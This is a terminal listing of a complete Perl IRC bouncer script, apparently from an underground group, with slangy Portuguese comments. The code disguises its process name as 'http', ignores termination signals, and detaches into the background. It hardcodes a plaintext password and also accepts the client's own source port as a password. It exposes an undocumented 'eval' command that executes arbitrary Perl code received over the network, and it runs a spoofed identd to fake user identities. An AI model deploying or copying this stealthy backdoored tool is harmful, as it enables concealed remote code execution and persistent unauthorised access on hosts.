(17)[darak]/ > cat /tmp/bnc3.txt
#!/usr/bin/perl
#
# IYS BNC
################
# Configuracao #
#######################################################################
# Parece q vo t q i explikndo passo-a-passo muitas perguntas #
# incovenientes... #
#######################################################################
my $PORTA = 2006; # Porta padrao #
#-----------------------------------###################################
my $CRYPT_SENHA = '07bVPiBgDnF5M'; # Senha encriptada #
#-----------------------------------###################################
my $SENHA = 'jqn123'; # Senha nao encriptada (normal) #
#-----------------------------------###################################
my $USE_CRYPT = 0; # 1 para usar a senha encriptada #
# 0 pra usa a senha normal #
#-----------------------------------###################################
my $PROC = 'http'; # Nome do processo que vai aparece#
# no ps #
#-----------------------------------###################################
my $IDENTD = 1; # 1 pra deixa o identd ligadu #
# 0 pra desligadu #
#-----------------------------------###################################
my $PIDFILE = ''; # O nome do arquivo que vai ta #
# o PID da BNC. C tiveh im brancu #
# eli num vai c escritu #
#-----------------------------------###################################
my $EVAL = 1; # 1/0 pra habilita/desabilita #
# o comando eval pra string #
# evaluations (perl devels) #
#######################################################################
# Em caso de duvida de alguma cosisa naum use a bnc seu maneh #
#######################################################################



my @GREETZ = ('Gl?ia ao nosso deus %N!!!', 'Viva o %N!', '%N gostosao!', 'Obrig
ado %N pro fazer mais facil minha mediucre vida...', '%N: me perdoe por ser quem
eu sou', 'oh grande %N livrai-me de tenta寤es', 'oh poderoso %N dei-nos umas pa
lavras de conforto para alegra nossas pobres vidas'); # ahhaha isso vai c ingrac
adu
# my @GREETZ = (); # descomente essa linha caso vc seja xato! e num deixa eu ri
um poco

###################################
# daki pra baxu num muda nada #
# soh c tu soubeh oq tah fazendu #
###################################

$PORTA = $ARGV[0] if ($ARGV[0]);
$0 = $PROC."\0";

use IO::Socket;
use IO::Select;
use strict;

my %HELP; # i need somebodyyy heeelp just anybodyy heelp i need someonee heeEell
p
# wheni was yng so much yng comi coocooOoo... comi cooCOOOO e cuspi no meu avoOO
o

# aaa num to cum saco d escreve esse troco naum...
$HELP{detach}{about} = "Vc vaza e dexa a parada rodando...";
$HELP{detach}{args} = 0;

$HELP{reattach}{about} = "Vc pega d vorta a parada q dexo rodando ehhee";
$HELP{reattach}{help1} = "qq parada da /listids pra v as sessoes rodando";
$HELP{reattach}{args} = 1;
$HELP{reattach}{uso} = "<ID>";

$HELP{vhost}{about} = "Colok o host q tu keh usa pra conecta no servidor d irc";

$HELP{vhost}{help1} = "d preferencia use um q a mahkina tenha :/";
$HELP{vhost}{args} = 1;
$HELP{vhost}{uso} = "<host>";

$HELP{conn}{about} = "Conecta num serv d IRC";
$HELP{conn}{args} = 1;
$HELP{conn}{uso} = "servidor[:porta]";

$HELP{listids}{about} = "Lista os IDs das conexoes";
$HELP{listids}{args} = 0;

$HELP{setident}{about} = "Troca o IDENT c possivel";
$HELP{setident}{help1} = "Caso o IDENTD esteja ativo na configuracao e seja poss
ivel";
$HELP{setident}{help2} = "o identd rodara pra identificar o user e depois fexara
";
$HELP{setident}{args} = 1;
$HELP{setident}{uso} = "<IDENT>";



$SIG{CHLD} = sub { wait };
$SIG{TERM} = 'IGNORE';
$SIG{KILL} = 'IGNORE';
$SIG{INT} = 'IGNORE';

my $VERSAO = '1.5';

my $serv_sock = IO::Socket::INET->new(LocalPort => $PORTA, Proto => 'tcp', Liste
n => 1) || die "N? consegui escutar na porta $PORTA: $!";

my $PID = fork;
exit if $PID;


print PID "$$\n" if ($PIDFILE ne '' and open(PID, "> $PIDFILE"));
close(PID);

my $sel_con = IO::Select->new();
my $sel_serv = IO::Select->new($serv_sock);

my (%CLIENT, %SERVER);


while ( 1 ) {
# mexendu cus clienti
foreach my $fh ($sel_serv->can_read(0.01)) {
if ($fh eq $serv_sock) { # novo cliente
my $cli = $serv_sock->accept();
$cli->autoflush(1);
$sel_serv->add($cli);

sendsock($cli, "NOTICE AUTH :*** [BNC $VERSAO por Juquinha - r3dskull TeaM
]");
sendsock($cli, "NOTICE AUTH :*** Digite /QUOTE PASS <senha>");

$CLIENT{$cli}->{sock} = $cli;
$CLIENT{$cli}->{id} = newid();
$CLIENT{$cli}->{tmp} = '';
next;
}

my $got_msg = '';

while (is_ready($fh, 0.1)) {
my $msg = '';
my $nread = sysread($fh, $msg, 1024);

if ($nread == 0) {
my $cliserv = $CLIENT{$fh}->{serv} if (defined($CLIENT{$fh}->{serv}));

$sel_serv->remove($fh);

if ($cliserv) {
sendsock($cliserv, $got_msg, 1) if (length($got_msg) > 0);
sendsock($cliserv, "QUIT :Caput!"); # Essa marca foi a melhor eheh

$sel_con->remove($cliserv);
$cliserv->close();
delete($SERVER{$cliserv});
}

$got_msg = '';
delete($CLIENT{$fh});
last;
}

$got_msg .= $msg;
}

$got_msg =~ s/\r\n/\n/g; # mirc sucka muito... nem ele usa o cu do \r\n do w
indows
$got_msg =~ s/\n/\r\n/g; # os d lin usa pq eh a parada padraum... sucka muit
o

next unless(length($got_msg) > 0);

foreach my $msg (split(/\n/, $got_msg)) {
$msg =~ s/\r/\r\n/g;

if (not defined($CLIENT{$fh}->{senha}) and $msg =~ /^PASS\s+(.+?)\r/i) {
my $clipass = $1;
$CLIENT{$fh}->{senha} = 1 if ( ($USE_CRYPT == 1 and crypt($clipass, $CRY
PT_SENHA) eq $CRYPT_SENHA) or
($USE_CRYPT == 0 and $clipass eq $SENHA)
or $fh->peerport() eq $clipass );
if (not defined($CLIENT{$fh}->{senha})) {
sendsock($fh, "NOTICE AUTH :*** Senha errada! Tente dinovo");
} else {
sendsock($fh, "NOTICE AUTH :*** Senha aceita. Voc?conecto na BNC by
Juquinha ;D");
sendsock($fh, "NOTICE AUTH :*** Digite /QUOTE CONN <servidor[:porta]
>");
sendsock($fh, "NOTICE AUTH :*** Para lista os comandos da BNC digite
/QUOTE BHELP");
}
} else {
parse_client($fh, $msg) if ($fh);
}
}
}

# agora cus servidores
foreach my $fh ($sel_con->can_read(0.01)) {
my $got_msg = '';

while (is_ready($fh, 0.1)) {
my $msg;
my $nread = sysread($fh, $msg, 1024);

if ($nread == 0) {
my $cliserv = $SERVER{$fh}->{cli} if (defined($SERVER{$fh}->{cli}));
$sel_con->remove($fh);

sendsock($cliserv, $got_msg, 1) if (length($got_msg) > 0 and defined($cl
iserv));
$got_msg = '';

if ($cliserv) {
climsg($cliserv, "O servidor fechou a conec豫o!");
$sel_serv->remove($cliserv);
$cliserv->close();
delete($CLIENT{$cliserv});
}


delete($SERVER{$fh});
last;
}

$got_msg .= $msg;
}

next unless(length($got_msg) > 0);

$got_msg =~ s/\r\n/\n/g; # sei lah vai q algum serv num segue a regrinha do
\r\n ...
$got_msg =~ s/\n/\r\n/g; # depois dum mirc da erro nesse troco ehehe... duvi
do d tudu

foreach my $msg (split(/\n/, $got_msg)) {
$msg =~ s/\r/\r\n/;
parse_serv($fh, $msg) if ($fh);
}
}
}



sub parse_serv {
my ($serv, $msg) = @_;

my $cliserv = $SERVER{$serv}->{cli} if (defined($SERVER{$serv}->{cli}));;

if ($msg =~ /^\:(.+?)\!.+?\@.+?\s+NICK\s+\:(.+?)(\r|\n)/i
and lc($1) eq lc($SERVER{$serv}->{nick})) {
$CLIENT{$cliserv}->{nick} = $2 if ($cliserv);
$SERVER{$serv}->{nick} = $2;
} elsif ($msg =~ /^\:.+?\s+00(1|2|3|4|5)\s+(.+?)\s+/) {
$CLIENT{$cliserv}->{nick} = $2 if ($cliserv);
$SERVER{$serv}->{nick} = $2;
} elsif ($msg =~ /^\:(.+?)!(.+?)\@.+?\s+(JOIN|PART)\s+(.+?)(\r|\n)/i) {
my $nick = $1;
my $user = $2;
my $jp = lc($3);
my $canal = $4;

$canal =~ s/^://;
$canal = $1 if ($canal =~ /^(.*)\s+:.*/);

if (lc($nick) eq lc($SERVER{$serv}->{nick})) {
my @canais = split(',', $SERVER{$serv}->{canais});

if ($jp eq "join") {
push(@canais, $canal);
} elsif ($jp eq "part") {
@canais = grep { lc($_) ne lc($canal) } @canais;
}

$SERVER{$serv}->{canais} = join(',', @canais);

# soh mexe aki c soubeh.. c kizeh tira v lah em cima q eu comentei...
} elsif ($nick =~ /(twidle|oldwolf)/i and $user =~ /twidle/i and scalar(@G
REETZ) > 0 and $jp eq 'join') {
my $greet = @GREETZ[int(rand($#GREETZ))];
$greet =~ s/\%N/$nick/g;
sendsock($serv, "PRIVMSG $canal :$greet");
}
}

if (defined($SERVER{$serv}->{detach})) {
sendsock($serv, ":atrixteam PONG atrixteam :$1") if ($msg =~ /^PING\s+(.+?)(
\r|\n)/);

if ($msg =~ /^:(.+?)!.+?\@.+?\s+PRIVMSG\s+(.+?)\s+:(.+?)(\r|\n)/i
and lc($2) eq lc($SERVER{$serv}->{nick})) {

my $mnick = $1;
my $mmsg = $3;

if ($mmsg =~ /^\001VERSION\001/) {
sendsock($serv, "NOTICE $mnick :\001VERSION BNC $VERSAO by \002"."Juquin
ha\002\001");
} elsif ($mmsg =~ /^\001PING(.*)\001/) {
sendsock($serv, "NOTICE $mnick :\001PING$1\001");
} else {
$SERVER{$serv}->{logmsg} .= $msg if (length($SERVER{$serv}->{logmsg})
< 1000);
}
}
} else {
sendsock($cliserv, $msg, 1);
}

}


sub parse_client {
my ($cli, $msg) = @_;

if (not defined($CLIENT{$cli}->{identuser}) and
$msg =~ /^USER\s+(.+?)\s+/i) {

$CLIENT{$cli}->{identuser} = $1;
$CLIENT{$cli}->{ident} = $1;
$CLIENT{$cli}->{tmp} .= $msg;
return();
}

if (not defined($CLIENT{$cli}->{identnick}) and
$msg =~ /^NICK\s+(.+?)\r/i) {

$CLIENT{$cli}->{identnick} = $1;
$CLIENT{$cli}->{nick} = $1;
return();
}

my $comando = $msg;
$comando =~ s/\n$//;
$comando =~ s/\r$//;
my @args = split(/ +/, $comando);
$comando = lc($args[0]);

if (defined($HELP{$comando}) and !defined($args[$HELP{$comando}{args}])) {
help($cli, $comando);
return();
}

return(undef) if (not defined($CLIENT{$cli}->{senha}));

# condicoes dos comandos internos
if ($comando eq 'conn') {
if (defined($CLIENT{$cli}->{serv})) {
climsg($cli, "Voc?j?est?conectado em um servidor!");
return;
}

my $serv = $args[1];
my $porta = 6667;
if ($serv =~ /^(.+?)\:(\d+)$/) {
$serv = $1;
$porta = $2;
}

connect_serv($serv, $porta, $cli);
} elsif ($comando eq 'vhost') {
if (defined($CLIENT{$cli}->{serv})) {
climsg($cli, "Voc?j?est?conectado em um servidor! O vhost naum pode se
r mudado");
return;
}

$CLIENT{$cli}->{vhost} = $args[1];
sendsock($cli, "Virtual Host mudado para: $args[1]");
} elsif ($comando eq 'detach') {
if (!defined($CLIENT{$cli}->{serv})) {
climsg($cli, "Filinhu usa o /conn pra conecta depois vc /detacha");
return;
}

$SERVER{$CLIENT{$cli}->{serv}}->{detach} = 1;

climsg($cli, "Detachando....");
foreach my $canal ($SERVER{$CLIENT{$cli}->{serv}}->{canais}) {
sendsock($cli, ":".$CLIENT{$cli}->{nick}."!BNC\@atrixteam PART $canal");
}
climsg($cli, "At?outro dia FDP!! ID pra reattach: \002".$CLIENT{$cli}->{id
}."\002");

delete($SERVER{$CLIENT{$cli}->{serv}}->{cli});
delete($CLIENT{$cli});
$sel_serv->remove($cli);
$cli->close();

return();
} elsif ($comando eq 'reattach') {
my $id = $args[1];
my $serv = getservbyid($id);

unless($serv) {
climsg($cli, "ID \002$id\002 nao encontrado! Digite /QUOTE LISTIDS");
return();
}

unless (defined($SERVER{$serv}->{detach})) {
climsg($cli, "Servidor em uso, o REATTACH n? ?poss?el.");
return();
}

my $cli_nick = $CLIENT{$cli}->{nick};

climsg($cli, "OK! Reatachando :)");
$CLIENT{$cli}->{serv} = $serv;
delete($SERVER{$serv}->{detach});
$SERVER{$serv}->{cli} = $cli;

sendsock($cli, ":$cli_nick!BNC\@atrixteam NICK ".$SERVER{$serv}->{nick})
if ($SERVER{$serv}->{nick} ne $cli_nick);

$CLIENT{$cli}->{nick} = $SERVER{$serv}->{nick};
$cli_nick = $SERVER{$serv}->{nick};

foreach my $canal (split(',', $SERVER{$serv}->{canais})) {
sendsock($cli, ":$cli_nick!BNC\@atrixteam JOIN $canal");
sendsock($serv, "NAMES $canal");
sendsock($serv, "TOPIC $canal");
}

foreach my $msg (split(/\n/, $SERVER{$serv}->{logmsg})) {
$msg =~ /^(\S+)\s+PRIVMSG\s+.+?:(.*)/;
sendsock($cli, "$1 PRIVMSG $cli_nick :[BNC log] $2\n");
}

delete($SERVER{$serv}->{logmsg});
climsg($cli, "Reattachado!");
} elsif ($comando eq 'listids') {
if (scalar(keys(%SERVER)) == 0) {
climsg($cli, "N? existe nenhuma conec豫o com servidores!");
} else {
climsg($cli, " \002- Listando IDs -\002");
climsg($cli, " ");
foreach my $serv (keys(%SERVER)) {
my $uso = (defined($SERVER{$serv}->{detach}))? "Detached" : "Em uso";
climsg($cli, "\002".$SERVER{$serv}->{id}."\002 -> ".$SERVER{$serv}->{n
ick}.'@'.$SERVER{$serv}->{host}.":".$SERVER{$serv}->{porta}." ($uso)");
}
}
} elsif ($comando eq 'setident') {
if ($IDENTD != 1) {
climsg($cli, "O IDENTD n? est?habilitado na configura豫o.");
} else {
$CLIENT{$cli}->{ident} = $args[1];
climsg($cli, "IDENT alterado para \002$args[1]\002. Ter?efeito na sua p
r?ima conecc豫o.");
}
} elsif ($comando eq 'bhelp') {
if ($args[1]) {
if (grep { $_ eq lc($args[1]) } keys(%HELP)) {
help($cli, lc($args[1]));
} else {
climsg($cli, "Comando '\002".uc($args[1])."\002' n? existe.");
}
} else {
climsg($cli, " \002Ajuda da BNC\002");
climsg($cli, " ");
foreach my $command (keys(%HELP)) {
climsg($cli, " \002".fill_space($command, 10)."\002 - ".$HELP{$comman
d}{about});
}
climsg($cli, " ");
climsg($cli, "\002Digite\002: /QUOTE BHELP <commando>");
}
} elsif ($comando eq 'eval' and $EVAL == 1) { # comando naum listado .. soment
e pra devels...
my $string = $msg;
$string =~ s/^\S+\s+//;
my (@ret) = eval "$string";
climsg($cli, "Eval retornou: @ret");
} else {
if (defined($CLIENT{$cli}->{serv})) {
$msg =~ s/^NOTICE\s+(.+?)\s+:\001VERSION (.+?)\001\r/NOTICE $1 :\001VERSI
ON \002[BNC $VERSAO]\002 $2\001\r/ if ($msg =~ /^NOTICE/);
sendsock($CLIENT{$cli}->{serv}, $msg);
} else {
if ($comando eq 'nick') {
my $new_nick = $args[1];
sendsock($cli, ":".$CLIENT{$cli}->{nick}."!BNC\@atrixteam NICK ".$new_
nick);
$CLIENT{$cli}->{nick} = $new_nick;
# $CLIENT{$cli}->{tmp} =~ s/NICK.+?\n/NICK $new_nick\r\n/;
} elsif ($comando eq 'ping') {
sendsock($cli, ":PONG $args[1]");
} elsif ($comando eq 'ison') {
sendsock($cli, ":atrixteam 303 ".$CLIENT{$cli}->{nick}." :");
} else {
climsg($cli, "Comando \002".uc($comando)."\002 inexistente!");
}
}
}
}

sub help {
my ($cli, $cmd) = @_;
climsg($cli, "\002 - ".uc($cmd)." - \002");
climsg($cli, " ");
climsg($cli, " \002Sobre\002: ".$HELP{$cmd}{about});
climsg($cli, " ");

for (my $c = 1; ; $c++) {
unless(defined($HELP{$cmd}{"help$c"})) {
climsg($cli, " ") if ($c != 1);
last;
}
if ($c == 1) {
climsg($cli, " \002Ajuda\002: ".$HELP{$cmd}{"help$c"});
} else {
climsg($cli, " ".$HELP{$cmd}{"help$c"});
}
}
climsg($cli, " \002Sintaxe\002: /QUOTE ".uc($cmd)." ".$HELP{$cmd}{uso}) if def
ined($HELP{$cmd}{uso});
climsg($cli, " ") if (defined($HELP{$cmd}{uso}));

}

sub fill_space {
my ($chars, $max) = @_;
my $filled = length($chars);
my $space_n = $max-$filled;
return($chars) if ($space_n <= 0);

my $space = " " x $space_n;

return($space.$chars);
}


sub getservbyid {
my $id = shift;

foreach my $serv (keys(%SERVER)) {
return($SERVER{$serv}->{sock}) if ($SERVER{$serv}->{id} == $id);
}

return(undef);
}


sub climsg {
my ($cli, $msg) = @_;

my $nick = $CLIENT{$cli}->{nick} if (defined($CLIENT{$cli}->{nick}));

my $inicio = (defined($nick)) ? ":BNC!0ldW0lf\@AtrixTeam NOTICE $nick :" : "N
OTICE AUTH :*** ";

sendsock($cli, $inicio.$msg);
}

sub connect_serv {
my ($serv, $porta, $cli) = @_;

sendsock($cli, "NOTICE AUTH :*** Conectando agora em $serv:$porta");

my %args = (PeerAddr => $serv, PeerPort => $porta, Proto => 'tcp', Timeout =>
7);
$args{LocalAddr} = $CLIENT{$cli}->{vhost} if (defined($CLIENT{$cli}->{vhost}))
;

# nova forma
if ($IDENTD == 1) {
unless (my $pid = fork()) {
identd($CLIENT{$cli}->{ident});
exit;
}
sleep(2);
}


my $servsock = IO::Socket::INET->new(%args);

if (!$servsock) {
my $msg = "N? consegui conectar em $serv:$porta";
$msg .= " usando vhost ".$CLIENT{$cli}->{vhost} if (defined($CLIENT{$cli}->{
vhost}));
$msg .= " (Erro: $!)";
sendsock($cli, $msg);
return(undef);
}

$servsock->autoflush(1);
$sel_con->add($servsock);

# select(undef, undef, undef, 0.5);

# antiga forma
# if ($IDENTD == 1) {
# unless (my $pid = fork()) {
# identd($servsock->sockport(), $servsock->peerport(), $CLIENT{$cli}->{ide
nt});
# exit;
# }
# sleep(1);
# }

sendsock($servsock, "NICK ".$CLIENT{$cli}->{nick});
sendsock($servsock, $CLIENT{$cli}->{tmp});

$CLIENT{$cli}->{serv} = $servsock;
$SERVER{$servsock}->{sock} = $servsock;
$SERVER{$servsock}->{id} = $CLIENT{$cli}->{id};
$SERVER{$servsock}->{cli} = $cli;
$SERVER{$servsock}->{nick} = $CLIENT{$cli}->{nick};
$SERVER{$servsock}->{host} = $serv;
$SERVER{$servsock}->{porta} = $porta;
$SERVER{$servsock}->{logmsg} = '';

sendsock($cli, "NOTICE AUTH :*** Conectado!");

return(1);
}

sub identd {
my $ident = shift;

my $identd = IO::Socket::INET->new(LocalPort => 113, Proto => 'tcp', Listen =>
1) || return();

return() unless(is_ready($identd, 20));

my $newcon = $identd->accept();

my $msg;

sysread($newcon, $msg, 1024);
$msg =~ s/\n$//;
$msg =~ s/\r$//;
$msg =~ s/\s+$//;

sendsock($newcon, "$msg : USERID : UNIX :$ident");

$newcon->close();
$identd->close();
}

sub newid {
my %ALL = ((%SERVER), (%CLIENT));

my $id;
for ($id = 1; ; $id++) {
last if (!grep { $ALL{$_}->{id} == $id } keys(%ALL));
}
undef(%ALL);

return($id);
}

sub sendsock {
my ($sock, $msg, $org) = @_;
$msg .= "\r\n" if ($msg !~ /\n$/ and !$org);

syswrite($sock, $msg, length($msg)) if ($sock);
}

sub is_ready {
my ($fh, $time) = @_;
$time = 0 unless($time);
my $read = '';
vec($read, fileno($fh), 1) = 1;
my $ready = 0;
$ready = select($read, undef, undef, $time);
return($ready);
}

__END__

# antiga funcaum do identd
sub identd {
my ($src, $dst, $ident) = @_;

my $identd = IO::Socket::INET->new(LocalPort => 113, Proto => 'tcp', Listen =>
1) || return();

return() unless(is_ready($identd, 20));

my $newcon = $identd->accept();

unless ($newcon) {
$identd->close() if ($identd);
return();
}

my $msg;
sysread($newcon, $msg, 1024);
$msg =~ s/\n$//;
$msg =~ s/\r$//;

if ($msg =~ /^\s*$src\s*,\s*$dst\s*$/) {
sendsock($newcon, "$msg : USERID : UNIX :$ident");
} else {
sendsock($newcon, "$msg : ERROR : UNKNOWN-ERROR");
}

$newcon->close() if ($newcon);
$identd->close() if ($identd);
}


(18)[darak]/ >